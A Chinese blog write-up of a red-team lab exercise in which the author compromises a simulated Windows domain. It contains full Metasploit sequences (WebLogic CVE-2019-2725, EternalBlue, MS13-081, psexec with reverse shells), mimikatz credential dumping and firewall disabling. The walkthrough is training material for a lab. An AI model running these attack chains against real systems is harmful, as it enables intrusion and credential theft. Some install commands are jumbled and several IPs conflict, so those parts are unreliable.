红日ATT&CK靶场系列(二)渗透笔记
本文最后更新于 2024-09-08,文章内容可能已经过时。
红日ATT&CK靶场系列(二)渗透实战笔记
靶场简介
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。本次红队环境主要Access Token利用、WMI利用、域漏洞利用SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用、黄金票据/白银票据/Sid History/MOF等攻防技术。关于靶场统一登录密码:1qaz@WSX
靶场涉及知识点
- Bypass UAC
- Windows系统NTLM获取(理论知识:Windows认证)
- Access Token利用(MSSQL利用)
- WMI利用
- 网页代理,二层代理,特殊协议代理(DNS,ICMP)
- 域内信息收集
- 域漏洞利用:SMB relay,EWS relay,PTT(PTC),MS14-068,GPP,SPN利用
- 域凭证收集
- 后门技术(黄金票据/白银票据/Sid History/MOF)
一、环境搭建
环境说明
内网网段:10.10.10.1/24
DMZ网段:192.168.111.1/24
测试机地址:192.168.111.1(Windows),192.168.111.11(Linux)
防火墙策略(策略设置过后,测试机只能访问192段地址,模拟公网访问):
deny all tcp ports:10.10.10.1
allow all tcp ports:10.10.10.0/24
配置信息
DC
IP:10.10.10.10 OS:Windows 2012(64)
应用:AD域
WEB
IP1:10.10.10.80 IP2:192.168.111.80 OS:Windows 2008(64)
应用:Weblogic 10.3.6MSSQL 2008
PC
IP1:10.10.10.201IP2:192.168.111.201 OS:Windows 7(32)
应用:
攻击机
IP:192.168.111.1 OS:Windows 10(64)
IP:192.168.111.11 OS:Parrot(64)
靶场文件下载下来解压后有三个文件夹,双击各个文件夹中的.vmx文件即可一键创建虚拟机,除了web靶机初始密码都为1qaz@WSX,WEB靶机需切换用户,用administrator管理员账号登录,没有密码,点击登录会提示更改密码,为了方便也设置成了1qaz@WSX,之后会重启然后用我们设置的密码登录即可,或者恢复成快照1.3直接使用密码也能登陆成功。
(点击登录换密码)
官方给的拓扑图和配置信息如下所示:
为了跟官网上的靶机ip对应我们先配置一下虚拟机的网卡ip,点击编辑打开虚拟网络编辑器,变更子网ip,在配置NAT和DHCP。
新增VMnet2网卡(仅主机模式)
登陆web的靶机,因为此环境的weblogic需要手动打开,win+e快捷键打开计算机进入C:\Oracle\Middleware\user_projects\domains\base_domain\bin,找到startWeblogic,双击开启,然后就可以开始了。
kali:
PC:
(这里需要登录一下管理员把360启动起来)
WEB:
DC:
最终虚拟机配置和IP配置如下所示。
虚拟机名称 | IP地址 |
---|---|
kali(攻击机) | 网卡vmnet8(NAT):192.168.111.10 |
WEB | 网卡vmnet8(NAT):192.168.111.80,网卡(仅主机):10.10.10.80 |
PC | 网卡vmnet8(NAT):192.168.111.201,网卡(仅主机):10.10.10.201 |
DC(域控) | 网卡(仅主机):10.10.10.10 |
访问http://192.168.111.80:7001/显示404靶场环境搭建完毕
主机之间不用互相ping测试连通性,部分之间有防火墙,ping不通,这时回到kali机器里开始模拟攻击
二、渗透过程
2.1 WEB主机(外网)渗透
主机发现
kali的nmap扫描网段信息,使用ICMP协扫描c段:
nmap -sn -PE -T4 -n 192.168.111.0/24
-sn: 进行“Ping 扫描”,即仅检测哪些主机在线,而不进行端口扫描。
-PE: 使用 ICMP Echo 请求进行 Ping 扫描。
-T4: 设置扫描速度为“快速”,适合在网络条件良好的情况下使用。
-n: 不进行 DNS 解析,直接使用 IP 地址进行扫描。
排除kali本机ip的192.168.111.10外,成功发现两台主机ip信息为:
192.168.111.80和192.168.111.201
nmap端口扫描
分别对两个IP地址做主机端口和服务的详细扫描:
nmap -p- -sV -sS -O -T5 192.168.110.80
扫描的时候一直出不来,应该是被360拦截了,减少参数和速度进行扫描
nmap -sV -T4 -p- 192.168.111.80
nmap -sV -T4 -p- 192.168.110.201
扫描到了192.168.110.201是win7系统,开放了445端口,待会看看能不能用ms17_010拿下
发现192.168.111.80这台主机开放了7001端口,看到afs3-callback基本确定服务是weblogic,拿扫描器看看是否有漏洞
工具下载地址: https://github.com/rabbitmask/WeblogicScan
python3 WeblogicScan.py -u 192.168.111.80 -p 7001
找到两个,这里如果没扫出来就是是被360拦截了
目录扫描
dirsearch -u http://192.168.111.80:7001/
访问了一下,除了weblogic的控制台以外没有其他有用的界面了。在web页面的左下角有具体版本号,可以直接搜索可以利用漏洞
咱们脚本小子工具多,上别的工具再试试
扫描到了CVE_2016_0638
的echo回显漏洞,之前那个工具扫描到了没有显示能利用,这里却能用了
直接打入java内存马,哥斯拉进行连接
这下就拿下了外网的主机,哥斯拉进行命令执行的话还能看到一个内网的ip地址,那我们接下就是针对内网的信息收集与横向移动
上线msf
本来想直接用工具的,最后发现echo回显注入的哥斯拉内存马在执行木马文件的时候不知道为什么运行不了,只好作罢,这里尝试一下在msf搜索之前显示的CVE-2017-3506和CVE-2019-2725这两个漏洞,随便哪个都行
直接使用CVE版本号在msf内搜索可利用脚本
msfconsole
search CVE-2019-2725
设置参数并运行即可
set rhost 192.168.111.80
set lhost 192.168.111.10
set target 1
run
成功上线,进入shell后查看ipconfig
2.2 内网渗透
内网信息搜集
用ipconfig /all
命令查看以下域名信息,发现是双网卡,域名为delay.com
DNS服务器为10.10.10.10,10.10.10.0/24为内网的网段,那么意味着域控为10.10.10.10,一般来说DNS服务器就绑定在域控上。
关闭防火墙
netsh advfirewall set allprofiles state off
添加一个去10.0网段路由
添加路由
回到meterpreter,执行命令
run autoroute -s 10.10.10.0/24
run autoroute -p
横向移动
由于知道这里的主机都是windows系统,直接使用msf的内网smb扫描模块扫描内网存活的主机
use auxiliary/scanner/smb/smb_version
set rhosts 192.168.111.0-255
run
set rhost 10.10.10.0-255
run
也是发现了内网主机10.10.10.10,即之前发现的域控,操作系统为windows server 2012和之前的pc的win7主机192.168.111.80
上传mimikatz到web主机
(这里尽量不用msf的mimikatz,它是阉割版的)
upload //root//mimikatz.exe c:
进入目标主机的c盘,发现上传的mimikatz
使用获取明文密码
privilege::debug
sekurlsa::logonpasswords
上线PC
之前扫描到的pc是win7系统,开放了445端口,这里尝试一波MS17-010永痕之蓝来打一波,看看能否直接上线msf,进入Metasploit
使用search MS17-010
命令,搜索查找MS17-010漏洞模块
先扫描一下看看能否进行利用
use auxiliary/scanner/smb/smb_ms17_010
options
set rhosts 192.168.111.201
set RPORT 445
run
好,确定百分之一百可以利用
利用MS17-010上线pc
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/reverse_tcp
show options
set rhosts 192.168.110.201
set lhost 192.168.111.10
set lport 5555
run
本次运行的结果如下,可以看到攻击失败,同时给与提示,该模块只能攻击X64位操作系统,说明我们的靶机是X32位
确定靶机是X32位操作系统,安装wine 32环境,安装攻击32位操作系统所用的的脚本
安装wine 32 位环境:
方法一:
apt-get install wine32
在执行exploit时可能会出现 :
it looks like wine32 is missing, you should install it.
multiarch needs to be enabled first. as root, please
execute “dpkg --add-architecture i386 && apt-get update && apt-get install wine32”
按照上面的方法
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
即可apt-get install wine32 dpkg --add-architecture i386 && apt-get update && apt-get install wine32
验证是否安装成功:
wine --version wine cmd.exe
报错,创建一个新的 32 位 Wine 前缀
WINEPREFIX=~/my32bitwine WINEARCH=win32 winecfg
然后使用新的前缀运行
cmd.exe
:WINEPREFIX=~/my32bitwine wine cmd.exe
如上图所示,即wine 32 安装成功
方法二:
dpkg --add-architecture i386 #这是让Linux安装32位架构,好兼容32位的程序
执行完毕之后再次执行
apt-get update && apt-get install wine32
apt-get install wine32
dpkg --add-architecture i386 && apt-get update &&
cmdand cmdand> cmd.exe #输入cmd.exe
dpkg --add-architecture i386 && apt-get update && apt-get install wine32
64位Linux一般会自带一个Wine,名字是wine64,注意Wine32安装之后的名字是wine而非wine32。(可能有些系统会不同但几率不大)
附上卸载i386的方法
dpkg --remove-architecture i386
可能缺少多架构支持,所以我们安装多架构支持,所以安装win 32
安装攻击32位操作系统所用的的脚本
首先下载利用的脚本:
git clone https://github.com/ElevenPaths/Eternalblue-Doublepulsar-Metasploit
下载下来之后要记得解压到当前文件夹
然后将脚本拷贝到 /usr/share/metasploit-framework/modules/exploits/windows/smb
cd Eternalblue-Doublepulsar-Metasploit/
cp -r deps/ eternalblue_doublepulsar.rb /usr/share/metasploit-framework/modules/exploits/windows/smb
如上图所示,脚本下载并复制到SMB目录下成功
回到msf再次搜索MS17-101
reload_all #更新一下模块
use exploit/windows/smb/smb_doublepulsar_rce
set payload windows/meterpreter/reverse_tcp
set DOUBLEPULSARPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set ETERNALBLUEPATH /usr/share/metasploit-framework/modules/exploits/windows/smb/deps
set PROCESSINJECT lsass.exe
set TARGETARCHITECTURE x64
set target 1
set rhost 10.10.10.201
set lhost 192.168.111.10
set lport 6666
run
可以看到pc的权限是普通用户,下面就进行提权操作
提权pc
搜索提权模块
search suggester
use 0
options
set session 7
run
use exploit/windows/local/ms13_081_track_popup_menu
options
set session 7
run
成功提权pc的system权限
2.4 DC(域控)主机渗透
利用SMB上线DC
抓取到了管理员的账号密码,这里可以尝试利用SMB beacon横向移动,因为连接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
所以此处我们利用msf进行哈希传递,来拿到域控
use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set rhost 10.10.10.10
set SMBUser administrator
set SMBPass 1qaz@WSX
run
成功拿下DC(域控)主机
三、思路总结
- kali的nmap扫描C段信息,发现目标在外网的web服务器主机,
- nmap进一步端口扫描和目录扫描后发现开启了7001端口上的weblogic漏洞,发现利用weblogic漏洞入侵web主机后进行外网信息打点,
- 利用weblogic漏洞利用工具打入java内存马,上线哥斯拉,信息内网信息搜集,上传木马上线到msf,并进行内网信息搜集,发现内网主机pc和DC,上传mimikatz到web主机,利用mimikatz发现域名等信息和域控主机的管理员密码。
- 添加内网路由后进行横向移动,发现pc主机是win7系统,扫描永痕漏洞利用漏洞上线msf后使用msf提权到system权限。
- 最后利用SMB进行哈希传递上线DC域控主机到msf
- 感谢你赐予我前进的力量